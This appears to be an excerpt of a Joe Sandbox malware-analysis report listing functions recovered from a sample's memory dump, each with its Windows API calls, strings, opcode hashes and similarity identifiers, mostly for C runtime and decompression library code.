Instruction ID: 5407e1aa73fb103a69951b37a3210641d96a59a2e985b166c36ad19798042dac
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: 02315276A08B8289EB60CF64E8543FE7364FB48748F445039DA5E87BA5EF38D548C710

Function 00007FF6FB1E29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6FB1E342E,?,00007FF6FB1E3534), ref: 00007FF6FB1E2A14
FormatMessageW.KERNEL32(?,?,?,00007FF6FB1E342E), ref: 00007FF6FB1E2A7D
MessageBoxW.USER32 ref: 00007FF6FB1E2ACF

Strings

Error, xrefs: 00007FF6FB1E2ABE
<FormatMessageW failed.>, xrefs: 00007FF6FB1E2A83
%ls%ls: %ls, xrefs: 00007FF6FB1E2A96

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction ID: 4482e84b6ad5bf65a74e22d03059101e436914d5d6b236a7b2aded1bae0be53d
Opcode Fuzzy Hash: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction Fuzzy Hash: A5212176618A8682E730DB10F5546EE6364FB8C7C8F400136EA9D93AA8EF7CD5568740

Function 00007FF6FB204F10 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6FB204F55

Part of subcall function 00007FF6FB2048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2048BC

Part of subcall function 00007FF6FB1F9C58: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C6E
Part of subcall function 00007FF6FB1F9C58: GetLastError.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C78

Part of subcall function 00007FF6FB1F9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6FB1F9BEF,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1F9C19
Part of subcall function 00007FF6FB1F9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6FB1F9BEF,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1F9C3E

_get_daylight.LIBCMT ref: 00007FF6FB204F44

Part of subcall function 00007FF6FB204908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB20491C

_get_daylight.LIBCMT ref: 00007FF6FB2051BA
_get_daylight.LIBCMT ref: 00007FF6FB2051CB
_get_daylight.LIBCMT ref: 00007FF6FB2051DC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6FB20541C), ref: 00007FF6FB205203

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID:
API String ID: 1458651798-0
Opcode ID: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
Instruction ID: f639b0aa5e08c4bbfd391599fb3a6491ca6d7af74d319029684dea07566e0757
Opcode Fuzzy Hash: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
Instruction Fuzzy Hash: C4D1A026E1824386E720EF25DAA01B963A1EF4C7D4F44A535EA2DC7AE5FE3CE441C740

Function 00007FF6FB1F9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6FB1F999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FB1F99B5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FB1F99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6FB1F9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1F9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1F9A3E

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: e30b4200656ae975394dda14665093425b56bd2c92e8d4d1f2032a7fcbb2e710
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 66317636A08B8285D760DF25E8542BE73A4FB8C798F541135EAAD87BA9EF3CD145C700

Function 00007FF6FB200B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB200BD0
FindFirstFileExW.KERNEL32 ref: 00007FF6FB200CDA

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction ID: d122b4eb2813cd70ffce6843a5c107e519c131e620da343c94caa06004dd2823
Opcode Fuzzy Hash: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction Fuzzy Hash: D3B19621B1869B41FB60DB21D6245BA6291EB58BE4F446132EA6DD7BEDFF3CE441C300

Function 00007FF6FB20518C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6FB2051BA

Part of subcall function 00007FF6FB204908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB20491C

_get_daylight.LIBCMT ref: 00007FF6FB2051CB

Part of subcall function 00007FF6FB2048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2048BC

_get_daylight.LIBCMT ref: 00007FF6FB2051DC

Part of subcall function 00007FF6FB2048D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2048EC

Part of subcall function 00007FF6FB1F9C58: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C6E
Part of subcall function 00007FF6FB1F9C58: GetLastError.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C78

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6FB20541C), ref: 00007FF6FB205203

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID:
API String ID: 2248164782-0
Opcode ID: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction ID: 84219a2c855dfa693130133d1c4c34ccd528d016bfff61c364647bc3c10870ae
Opcode Fuzzy Hash: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction Fuzzy Hash: 7D514E32A1864386E720EF21EAA11B96760BF4C784F44A535EA6DC76F6EF3CE4408740

Function 00007FF6FB1EC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6FB1EC35C
GetCurrentThreadId.KERNEL32 ref: 00007FF6FB1EC36A
GetCurrentProcessId.KERNEL32 ref: 00007FF6FB1EC376
QueryPerformanceCounter.KERNEL32 ref: 00007FF6FB1EC386

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: 0d44c07b34abdebbf698619f9d83ddde915a951e6aea69ede6e902a6afa5f816
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 9B114826B14B068AEB00DB60E9542BC33A4FB5D758F041E31DA2DC6BA4EF78E1998340

Function 00007FF6FB202F20 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF6FB202F86
memcpy_s.LIBCPMT ref: 00007FF6FB202FB1

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
Instruction ID: 6db5c189c9bd3171c31b18d47c2dbb82dc4d3415bba6af41397f8d29150b7951
Opcode Fuzzy Hash: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
Instruction Fuzzy Hash: 1BC1D072A1968787E7248F19A19467AB791F78CBC4F40A135DB5AC3794EF3DE801CB40

Function 00007FF6FB1E979B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6FB1E987B
unknown header flags set, xrefs: 00007FF6FB1E97E5
header crc mismatch, xrefs: 00007FF6FB1E9C41

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 6a55f11302ef793728786adf415505d571280719f8ef56880a9f0a37636d8ec0
Instruction ID: 17dbab419e158e4d0d0bd975f30c0bdf4cd077021e21cd1450eb229fb540ce5a
Opcode Fuzzy Hash: 6a55f11302ef793728786adf415505d571280719f8ef56880a9f0a37636d8ec0
Instruction Fuzzy Hash: B3F16372E183D64BE7A5CB15C088A3E7AE9EF48788F055538DA5987BE0EF78E540C740

Function 00007FF6FB208A38 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6FB208C87
RaiseException.KERNEL32 ref: 00007FF6FB208C98

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 4367feba8b0fb5a89db2d79700bffb7903d016d74ce2a4ac284103265cf95646
Instruction ID: 18f9ad92a52d5fb2a4385b4198914d048b67fb94ec07d2bb1397b4705e6138b7
Opcode Fuzzy Hash: 4367feba8b0fb5a89db2d79700bffb7903d016d74ce2a4ac284103265cf95646
Instruction Fuzzy Hash: 27B16C73604B8A8AEB15CF29C5563693BA0F748B88F149921DB6DC7BB8DF39D451C700

Function 00007FF6FB1F2CC4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6FB1F3074
, xrefs: 00007FF6FB1F2E32

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 25965de2e6678be5c8c686b25b3b835ec4bf2bfab2b797158b347abdb642f747
Instruction ID: f02ae220fc6369b067e776ba1c486de961b38295c6abac39179726986b33e80e
Opcode Fuzzy Hash: 25965de2e6678be5c8c686b25b3b835ec4bf2bfab2b797158b347abdb642f747
Instruction Fuzzy Hash: 5FE1A272E0864782EB68DF25D15017933A1FF49B4CF244235EA6E876F5EF29E852C780

Function 00007FF6FB1E95FB Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF6FB1E9769
incorrect header check, xrefs: 00007FF6FB1E9782

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 226024973a440a2a6261c5f164d8bafa30541a105b972a390c392a8354fe07a0
Instruction ID: 2051bcc12ddfff9dbbd10e09f1779bd2168d46051221a11e1b214258d0db1d5c
Opcode Fuzzy Hash: 226024973a440a2a6261c5f164d8bafa30541a105b972a390c392a8354fe07a0
Instruction Fuzzy Hash: 55917872E182C747E7A5CB14C498A7E3AA9FB48398F154139DA5A87AE0DF38F540CB40

Function 00007FF6FB1FD200 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF6FB1FD30D
gfff, xrefs: 00007FF6FB1FD38A

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 1324d18368fb7be0dec1b44ace24e6b174879433860390047f5d35653063db2a
Instruction ID: acd560cdc6500519427239546a256bc55ac16679b818491ebc65e18340f68233
Opcode Fuzzy Hash: 1324d18368fb7be0dec1b44ace24e6b174879433860390047f5d35653063db2a
Instruction Fuzzy Hash: 7C515862F186CA46E725CE36D8017796B91E748B98F489271CBA8CBAE5EE3DD440C740

Function 00007FF6FB1FFBD8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: a8238ebacfbb29389201daedac3868d1c225100c6328c8ae619a1fe2ce119bc6
Instruction ID: 2405bd21913fa81db3aaa9e3a43c0f2d012c5086333d96a0a89a0798a1a5338f
Opcode Fuzzy Hash: a8238ebacfbb29389201daedac3868d1c225100c6328c8ae619a1fe2ce119bc6
Instruction Fuzzy Hash: 2302AA22E1A68740FB65EB21A95127A2680AF4DBE8F455635DE7DC63F6FE7CE401C300

Function 00007FF6FB1FCD6C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF6FB1FD0AE

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: ee332c23296b8dd3ed29fdb42bef122adb490463d0c8b601810d73b835641fc7
Instruction ID: 54cf5c3344d337efd30be837b24edea48b0b307a8ff19b45c06680a693bc7a66
Opcode Fuzzy Hash: ee332c23296b8dd3ed29fdb42bef122adb490463d0c8b601810d73b835641fc7
Instruction Fuzzy Hash: CCA14862F0878B46EB21CB29A4007BDBB91AB58B88F058131DE5D87BE5EE3DD501D701

Function 00007FF6FB1F7AAC Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF6FB1F7ACB

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: dd4bbb8096afc2135879a6e6acc50949ef59d292da7f7bf8111e5166495e4f15
Instruction ID: 6c2b5e47e3301e2e8c6d82412497d977f7e7316235823c3f668eea3fb8b6d495
Opcode Fuzzy Hash: dd4bbb8096afc2135879a6e6acc50949ef59d292da7f7bf8111e5166495e4f15
Instruction Fuzzy Hash: 83519F29F0C64741FB68EB2699115BA5291AF89BC8F485434DE2DC77F6FE3CE45AC200

Function 00007FF6FB202790 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6FB202794

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: fe1a72d78314f5032ff6e3f3402ce84269ae1386cefa971ca0fc6f511f9bbc55
Instruction ID: c7d22a6ecfbf1e6972acf08a481a0f94ce611f6682f82235475f626c276dc700
Opcode Fuzzy Hash: fe1a72d78314f5032ff6e3f3402ce84269ae1386cefa971ca0fc6f511f9bbc55
Instruction Fuzzy Hash: A2B09224E17A87C2EB082B116DAA22822A47F8C710FA48138C41DC13B0EE2C20A54700

Function 00007FF6FB1F28C0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b05403af9c31de739a9311cbf741df56ce5de8bb6a66a9cc9bcf40cf40427d0b
Instruction ID: 43c103093313f571fd5e689831b39a2bacd17e70a5aa2107c639e6027088a4d4
